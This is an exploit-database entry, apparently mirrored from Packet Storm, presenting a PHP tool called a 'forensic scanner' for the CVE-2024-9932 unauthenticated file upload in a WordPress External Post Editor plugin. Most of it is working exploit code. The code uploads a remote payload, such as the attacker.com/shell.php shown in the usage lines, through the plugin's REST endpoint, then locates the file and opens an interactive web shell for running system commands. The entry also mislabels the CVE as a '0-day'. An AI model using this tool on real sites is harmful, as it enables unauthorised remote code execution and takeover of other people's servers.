Lucene search
K

📄 WordPress External Post Editor 1.2.3 Scanner

🗓️ 02 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 90 Views

Scanner checks WordPress External Post Editor plugin CVE-2024-9932 for unauthenticated file upload.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2024-9932
22 Jan 202620:43
githubexploit
GithubExploit
Exploit for CVE-2024-9932
11 Jan 202522:09
githubexploit
GithubExploit
Exploit for CVE-2024-9932
5 Nov 202415:00
githubexploit
ATTACKERKB
CVE-2024-9932
26 Oct 202403:15
attackerkb
Circl
CVE-2024-9932
26 Oct 202405:37
circl
CNNVD
WordPress plugin Wux Blog Editor 代码问题漏洞
26 Oct 202400:00
cnnvd
CVE
CVE-2024-9932
26 Oct 202401:58
cve
Cvelist
CVE-2024-9932 Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload
26 Oct 202401:58
cvelist
NVD
CVE-2024-9932
26 Oct 202403:15
nvd
Packet Storm
📄 WordPress Wux Blog Editor 3.0.0 Vulnerability Scanner
6 Feb 202600:00
packetstorm
Rows per page
=============================================================================================================================================
    | # Title     : WordPress External Post Editor Plugin 1.2.3 Forensic Vulnerability Scanner                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/                                                                                              |
    =============================================================================================================================================
    
    [+] References : 
    
    [+] Summary    :  This PHP forensic scanner is designed to assess WordPress sites for the External Post Editor plugin vulnerability (CVE-2024-9932), which allows unauthenticated file upload potentially leading to remote code execution (RCE).
    
    [+] The scanner performs multiple analysis phases:
    
    Endpoint Accessibility Check: Validates the plugin’s JSON upload endpoint and reports HTTP responses (200, 401, 403, 404, etc.).
    
    File Upload Test: Attempts to upload a test payload, checks server responses, and analyzes JSON or fallback paths for the uploaded file location.
    
    File Verification: Confirms if the uploaded file is accessible and inspects its content type to avoid false positives.
    
    Code Execution Testing: Sends controlled test requests to detect potential remote code execution indicators.
    
    Summary Reporting: Generates structured details about the vulnerability, affected plugin version, type, and references.
    
    Interactive Forensic Shell (Optional): Provides a CLI interface for advanced testing and manual command execution against the confirmed payload.
    
    [+] The tool is modular, separates HTTP communication, logging, and shell interaction, and ensures careful scientific verification of all results without making assumptions about server OS or file paths.
    
    [+] Usage :
    
    # Vulnerability Test Only : php scanner.php --target https://site.com --payload http://attacker.com/test.txt --name test.txt --test-only
    
    # Full Test with Shell    : php scanner.php --target https://site.com --payload http://attacker.com/shell.php --name shell.php
    
    [+] POC :
    
    <?php
    
    class WordPressVulnerabilityScanner {
    
        private $target;
        private $http_client;
        private $logger;
        
        public function __construct($target) {
            $this->target = rtrim($target, '/');
            $this->http_client = new HTTPClient();
            $this->logger = new Logger();
        }
        
        public function testEndpointAccessibility() {
            $this->logger->info("Testing endpoint accessibility");
            
            $endpoint = $this->target . '/wp-json/external-post-editor/v2/image-upload';
            $response = $this->http_client->head($endpoint);
            
            if ($response['code'] == 404) {
                $this->logger->error("Endpoint not found");
                return false;
            }
            
            if ($response['code'] == 403 || $response['code'] == 401) {
                $this->logger->warning("Endpoint requires authentication");
                return false;
            }
            
            $this->logger->success("Endpoint accessible (HTTP {$response['code']})");
            return true;
        }
        
        public function testFileUploadVulnerability($payload_url, $file_name) {
            $this->logger->info("Testing file upload vulnerability");
            
            $endpoint = $this->target . '/wp-json/external-post-editor/v2/image-upload';
            
            $headers = [
                'Content-Type' => 'application/json'
            ];
            
            $data = [
                'url' => $payload_url,
                'imageName' => $file_name
            ];
            
            $response = $this->http_client->post($endpoint, $data, $headers);
    
            if ($response['code'] !== 200) {
                $this->logger->error("Upload failed with HTTP {$response['code']}");
                return false;
            }
    
            $json_data = @json_decode($response['body'], true);
            
            if (!$json_data) {
                $this->logger->warning("Invalid JSON response");
                return $this->analyzeUploadFallback($file_name);
            }
    
            if (isset($json_data['success']) && $json_data['success'] === false) {
                $this->logger->error("API indicated failure: " . ($json_data['message'] ?? 'Unknown'));
                return false;
            }
    
            $uploaded_url = null;
            if (isset($json_data['data']['url'])) {
                $uploaded_url = $json_data['data']['url'];
            } elseif (isset($json_data['url'])) {
                $uploaded_url = $json_data['url'];
            }
            
            if ($uploaded_url) {
                $this->logger->success("File uploaded to: " . $uploaded_url);
                return ['uploaded_url' => $uploaded_url, 'method' => 'api_response'];
            }
            
            return $this->analyzeUploadFallback($file_name);
        }
        
        private function analyzeUploadFallback($file_name) {
            $this->logger->info("Attempting to locate uploaded file");
            
    
            $test_paths = $this->generateTestPaths($file_name);
            
            foreach ($test_paths as $path) {
                $test_url = $this->target . $path;
                $response = $this->http_client->get($test_url, ['timeout' => 3]);
                
                if ($response['code'] == 200) {
    
                    $content_type = strtolower($response['headers']['content-type'] ?? '');
                    
                    if (strpos($content_type, 'text/html') !== false) {
    
                        continue;
                    }
                    
                    $this->logger->success("Found file at: " . $test_url);
                    return ['uploaded_url' => $test_url, 'method' => 'bruteforce'];
                }
            }
            
            $this->logger->error("Could not locate uploaded file");
            return false;
        }
        
        private function generateTestPaths($file_name) {
            $paths = [];
    
            $paths[] = "/wp-content/uploads/{$file_name}";
            $paths[] = "/uploads/{$file_name}";
    
            $current_year = date('Y');
            $current_month = date('m');
            $paths[] = "/wp-content/uploads/{$current_year}/{$current_month}/{$file_name}";
    
            $paths[] = "/wp-content/uploads/" . ($current_year - 1) . "/{$current_month}/{$file_name}";
            
            return $paths;
        }
        
        public function verifyFileAccess($url) {
            $this->logger->info("Verifying file accessibility");
            
            $response = $this->http_client->head($url);
            
            if ($response['code'] == 200) {
                $this->logger->success("File is accessible (HTTP 200)");
    
                $content_type = strtolower($response['headers']['content-type'] ?? '');
                
                if (strpos($content_type, 'text/html') !== false) {
                    $this->logger->warning("File appears to be HTML (may be error page)");
                }
                
                return true;
            }
            
            $this->logger->error("File not accessible (HTTP {$response['code']})");
            return false;
        }
        
        public function testCodeExecution($payload_url, $test_payload) {
            $this->logger->info("Testing code execution capability");
    
            $tests = [
                [
                    'param' => 'test',
                    'expected' => 'OK',
                    'description' => 'Basic parameter test'
                ],
                [
                    'param' => 'cmd',
                    'expected' => null, 
                    'description' => 'Command parameter test'
                ]
            ];
            
            foreach ($tests as $test) {
                $test_url = $payload_url . '?' . $test['param'] . '=echo%20' . bin2hex(random_bytes(4));
                $response = $this->http_client->get($test_url);
                
                $this->logger->debug("Test: {$test['description']} - HTTP {$response['code']}");
                
                if ($response['code'] == 200) {
    
                    $analysis = $this->analyzeResponse($response['body'], $test['param']);
                    
                    if ($analysis['likely_execution']) {
                        $this->logger->success("Potential code execution detected via {$test['param']} parameter");
                        return [
                            'execution_method' => $test['param'],
                            'analysis' => $analysis
                        ];
                    }
                }
            }
            
            $this->logger->error("No code execution capability detected");
            return false;
        }
        
        private function analyzeResponse($body, $test_param) {
            $analysis = [
                'likely_execution' => false,
                'indicators' => [],
                'content_type_hints' => []
            ];
    
            $execution_indicators = [
                '<?php' => 'PHP opening tag',
                'system(' => 'System function call',
                'exec(' => 'Exec function',
                'shell_exec(' => 'Shell exec',
                'passthru(' => 'Passthru function',
                'popen(' => 'Popen function',
                'proc_open(' => 'Proc open function',
                '`' => 'Backtick execution'
            ];
    
            $error_indicators = [
                'Parse error' => 'PHP parse error',
                'Warning:' => 'PHP warning',
                'Notice:' => 'PHP notice',
                'Fatal error' => 'PHP fatal error'
            ];
            
            $body_lower = strtolower($body);
    
            foreach ($execution_indicators as $indicator => $description) {
                if (stripos($body, $indicator) !== false) {
                    $analysis['indicators'][] = $description;
                    $analysis['likely_execution'] = true;
                }
            }
    
            foreach ($error_indicators as $indicator => $description) {
                if (stripos($body, $indicator) !== false) {
                    $analysis['content_type_hints'][] = $description;
                }
            }
    
            $content_length = strlen($body);
            if ($content_length > 1000 && $content_length < 10000) {
                $analysis['indicators'][] = "Moderate response length ({$content_length} bytes)";
            }
            
            return $analysis;
        }
        
        public function getExploitSummary() {
            return [
                'vulnerability' => 'CVE-2024-9932',
                'type' => 'Unauthenticated File Upload → RCE',
                'component' => 'External Post Editor WordPress Plugin',
                'status' => '0-day (as of analysis date)',
                'references' => [
                    'https://wordpress.org/plugins/external-post-editor/',
                    'https://wpscan.com/vulnerability/...'
                ]
            ];
        }
    }
    
    class HTTPClient {
        private $default_options = [
            'timeout' => 10,
            'connect_timeout' => 5,
            'user_agent' => 'Security-Scanner/1.0',
            'follow_redirects' => false,
            'verify_ssl' => false
        ];
        
        public function request($method, $url, $options = []) {
            $options = array_merge($this->default_options, $options);
            
            $ch = curl_init($url);
            
            $curl_options = [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_CUSTOMREQUEST => strtoupper($method),
                CURLOPT_TIMEOUT => $options['timeout'],
                CURLOPT_CONNECTTIMEOUT => $options['connect_timeout'],
                CURLOPT_USERAGENT => $options['user_agent'],
                CURLOPT_FOLLOWLOCATION => $options['follow_redirects'],
                CURLOPT_SSL_VERIFYPEER => $options['verify_ssl'],
                CURLOPT_SSL_VERIFYHOST => $options['verify_ssl'] ? 2 : 0,
                CURLOPT_HEADER => true
            ];
            
            if (isset($options['data'])) {
                if (isset($options['headers']['Content-Type']) && 
                    strpos($options['headers']['Content-Type'], 'application/json') !== false) {
                    $curl_options[CURLOPT_POSTFIELDS] = json_encode($options['data']);
                } else {
                    $curl_options[CURLOPT_POSTFIELDS] = http_build_query($options['data']);
                }
            }
            
            if (!empty($options['headers'])) {
                $header_array = [];
                foreach ($options['headers'] as $key => $value) {
                    $header_array[] = "{$key}: {$value}";
                }
                $curl_options[CURLOPT_HTTPHEADER] = $header_array;
            }
            
            curl_setopt_array($ch, $curl_options);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            $headers = [];
            $body = '';
            
            if ($response !== false) {
                $header_text = substr($response, 0, $header_size);
                $body = substr($response, $header_size);
                
                $headers = $this->parseHeaders($header_text);
            }
            
            return [
                'success' => $response !== false && $http_code > 0,
                'code' => $http_code,
                'body' => $body,
                'headers' => $headers,
                'error' => $error,
                'url' => $url
            ];
        }
        
        public function get($url, $options = []) {
            return $this->request('GET', $url, $options);
        }
        
        public function post($url, $data = [], $headers = [], $options = []) {
            $options['data'] = $data;
            $options['headers'] = array_merge($headers, ['Content-Type' => 'application/json']);
            return $this->request('POST', $url, $options);
        }
        
        public function head($url, $options = []) {
            $options['method'] = 'HEAD';
            return $this->request('HEAD', $url, $options);
        }
        
        private function parseHeaders($header_text) {
            $headers = [];
            $lines = explode("\r\n", $header_text);
            
            foreach ($lines as $line) {
                if (strpos($line, ':') !== false) {
                    list($key, $value) = explode(':', $line, 2);
                    $headers[strtolower(trim($key))] = trim($value);
                }
            }
            
            return $headers;
        }
    }
    
    class Logger {
        private $log_level = 'INFO'; // DEBUG, INFO, WARNING, ERROR
        private $colors = true;
        
        public function setLevel($level) {
            $this->log_level = strtoupper($level);
        }
        
        public function debug($message) {
            if ($this->shouldLog('DEBUG')) {
                $this->output("[D] " . $message, 'gray');
            }
        }
        
        public function info($message) {
            if ($this->shouldLog('INFO')) {
                $this->output("[*] " . $message, 'white');
            }
        }
        
        public function warning($message) {
            if ($this->shouldLog('WARNING')) {
                $this->output("[!] " . $message, 'yellow');
            }
        }
        
        public function error($message) {
            if ($this->shouldLog('ERROR')) {
                $this->output("[-] " . $message, 'red');
            }
        }
        
        public function success($message) {
            if ($this->shouldLog('INFO')) {
                $this->output("[+] " . $message, 'green');
            }
        }
        
        private function shouldLog($level) {
            $levels = ['DEBUG' => 1, 'INFO' => 2, 'WARNING' => 3, 'ERROR' => 4];
            return $levels[$level] >= ($levels[$this->log_level] ?? 2);
        }
        
        private function output($message, $color) {
            if ($this->colors && PHP_SAPI === 'cli') {
                $colors = [
                    'red' => "\033[31m",
                    'green' => "\033[32m",
                    'yellow' => "\033[33m",
                    'blue' => "\033[34m",
                    'gray' => "\033[90m",
                    'white' => "\033[97m",
                    'reset' => "\033[0m"
                ];
                
                echo ($colors[$color] ?? '') . $message . $colors['reset'] . "\n";
            } else {
                echo $message . "\n";
            }
        }
    }
    
    class InteractiveShell {
        private $http_client;
        private $payload_url;
        private $logger;
        private $session_id;
        
        public function __construct($http_client, $payload_url, $logger) {
            $this->http_client = $http_client;
            $this->payload_url = $payload_url;
            $this->logger = $logger;
            $this->session_id = 'SESS_' . bin2hex(random_bytes(4));
        }
        
        public function start() {
            $this->logger->info("Starting forensic shell");
            $this->logger->info("Session: " . $this->session_id);
            $this->logger->info("Boundary: " . $this->payload_url);
            
            echo "\n=== Forensic Shell ===\n";
            echo "Commands: command, exit, help, info, test\n\n";
            
            while (true) {
                echo "fshell> ";
                $input = trim(fgets(STDIN));
                
                if (empty($input)) continue;
                
                $parts = explode(' ', $input, 2);
                $command = strtolower($parts[0]);
                $argument = $parts[1] ?? '';
                
                switch ($command) {
                    case 'exit':
                        $this->logger->info("Exiting shell");
                        return;
                        
                    case 'help':
                        $this->showHelp();
                        break;
                        
                    case 'info':
                        $this->showInfo();
                        break;
                        
                    case 'test':
                        $this->testConnection();
                        break;
                        
                    case 'command':
                        if (empty($argument)) {
                            $this->logger->error("No command provided");
                            break;
                        }
                        $this->executeCommand($argument);
                        break;
                        
                    default:
                        $this->logger->error("Unknown command: {$command}");
                        echo "Type 'help' for available commands\n";
                }
            }
        }
        
        private function executeCommand($cmd) {
            $this->logger->debug("Executing: {$cmd}");
    
            $test_params = ['cmd', 'c', 'exec', 'command', 'run'];
            
            foreach ($test_params as $param) {
                $test_url = $this->payload_url . '?' . $param . '=' . urlencode($cmd);
                $response = $this->http_client->get($test_url);
                
                if ($response['code'] == 200) {
                    $this->displayResult($response['body'], $param);
                    return;
                }
            }
            
            $this->logger->error("No successful parameter found for command execution");
        }
        
        private function displayResult($body, $param_used) {
            echo "\n--- Result (via {$param_used}) ---\n";
            
            $clean_body = $this->cleanResponse($body);
            
            if (empty(trim($clean_body))) {
                echo "(Empty response)\n";
            } else {
    
                if (strlen($clean_body) > 5000) {
                    echo substr($clean_body, 0, 5000) . "\n... [truncated, total: " . strlen($clean_body) . " bytes]\n";
                } else {
                    echo $clean_body . "\n";
                }
            }
            
            echo "--- End ---\n\n";
        }
        
        private function cleanResponse($body) {
    
            $clean = strip_tags($body);
    
            $clean = preg_replace('/\s+/', ' ', $clean);
            
            return trim($clean);
        }
        
        private function showHelp() {
            $help = <<<HELP
    Available commands:
      command <cmd>  - Execute system command
      test           - Test connection to payload
      info           - Show session information
      help           - Show this help
      exit           - Exit the shell
    
    Examples:
      command whoami
      command id
      command pwd
      command ls -la
    
    HELP;
            echo $help;
        }
        
        private function showInfo() {
            echo "\nSession Information:\n";
            echo "  Session ID: " . $this->session_id . "\n";
            echo "  Payload URL: " . $this->payload_url . "\n";
            echo "  Timestamp: " . date('Y-m-d H:i:s') . "\n\n";
        }
        
        private function testConnection() {
            $response = $this->http_client->head($this->payload_url);
            
            if ($response['code'] == 200) {
                $this->logger->success("Payload accessible (HTTP 200)");
    
                $test_response = $this->http_client->get($this->payload_url . '?test=ping');
                
                $content_type = $test_response['headers']['content-type'] ?? 'unknown';
                echo "  Content-Type: " . $content_type . "\n";
                echo "  Body length: " . strlen($test_response['body']) . " bytes\n";
            } else {
                $this->logger->error("Payload not accessible (HTTP {$response['code']})");
            }
        }
    }
    
    if (PHP_SAPI !== 'cli') {
        die("This tool must be run from command line\n");
    }
    
    $options = getopt('', [
        'target:', 
        'payload:', 
        'name:',
        'test-only',
        'no-shell',
        'verbose',
        'help'
    ]);
    
    if (isset($options['help'])) {
        showHelp();
        exit(0);
    }
    
    function showHelp() {
        echo <<<HELP
    WordPress CVE-2024-9932 Forensic Scanner By indoushka
    
    Usage: php scanner.php --target URL --payload URL --name FILENAME
    
    Required:
      --target       WordPress site URL
      --payload      Remote payload URL to test upload
      --name         Filename for upload test
    
    Options:
      --test-only    Only test vulnerability, don't start shell
      --no-shell     Don't start interactive shell
      --verbose      Enable verbose output
      --help         Show this help
    
    Example:
      php scanner.php --target https://vuln.site \\
                      --payload http://test.com/probe.php \\
                      --name test.php
    
    HELP;
    }
    
    $required = ['target', 'payload', 'name'];
    foreach ($required as $req) {
        if (!isset($options[$req])) {
            echo "Error: Missing required argument --{$req}\n\n";
            showHelp();
            exit(1);
        }
    }
    
    // Main execution
    try {
        $logger = new Logger();
        
        if (isset($options['verbose'])) {
            $logger->setLevel('DEBUG');
        }
        
        $scanner = new WordPressVulnerabilityScanner($options['target']);
        
        echo "\n";
        $logger->info("Starting forensic analysis");
        $logger->info("Target: " . $options['target']);
        
        // Phase 1: Test endpoint accessibility
        if (!$scanner->testEndpointAccessibility()) {
            $logger->error("Initial test failed");
            exit(1);
        }
    
        $upload_result = $scanner->testFileUploadVulnerability(
            $options['payload'],
            $options['name']
        );
        
        if (!$upload_result) {
            $logger->error("File upload test failed");
            exit(1);
        }
        
        $logger->success("File upload vulnerability confirmed");
    
        $uploaded_url = $upload_result['uploaded_url'] ?? '';
        if (!$scanner->verifyFileAccess($uploaded_url)) {
            $logger->warning("Uploaded file may not be accessible");
        }
    
        $execution_test = $scanner->testCodeExecution($uploaded_url, $options['payload']);
        
        if (!$execution_test && !isset($options['test-only'])) {
            $logger->warning("No code execution detected. Starting forensic shell anyway.");
        }
    
        $summary = $scanner->getExploitSummary();
        $logger->info("Vulnerability: " . $summary['vulnerability']);
        $logger->info("Type: " . $summary['type']);
        
        if (!isset($options['test-only']) && !isset($options['no-shell'])) {
            if ($uploaded_url) {
                $http_client = new HTTPClient();
                $shell = new InteractiveShell($http_client, $uploaded_url, $logger);
                $shell->start();
            } else {
                $logger->error("Cannot start shell: No payload URL available");
            }
        }
        
        $logger->info("Analysis complete");
        
    } catch (Exception $e) {
        echo "Fatal error: " . $e->getMessage() . "\n";
        exit(1);
    }
    ?>
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.19.8
EPSS0.75403
SSVC
90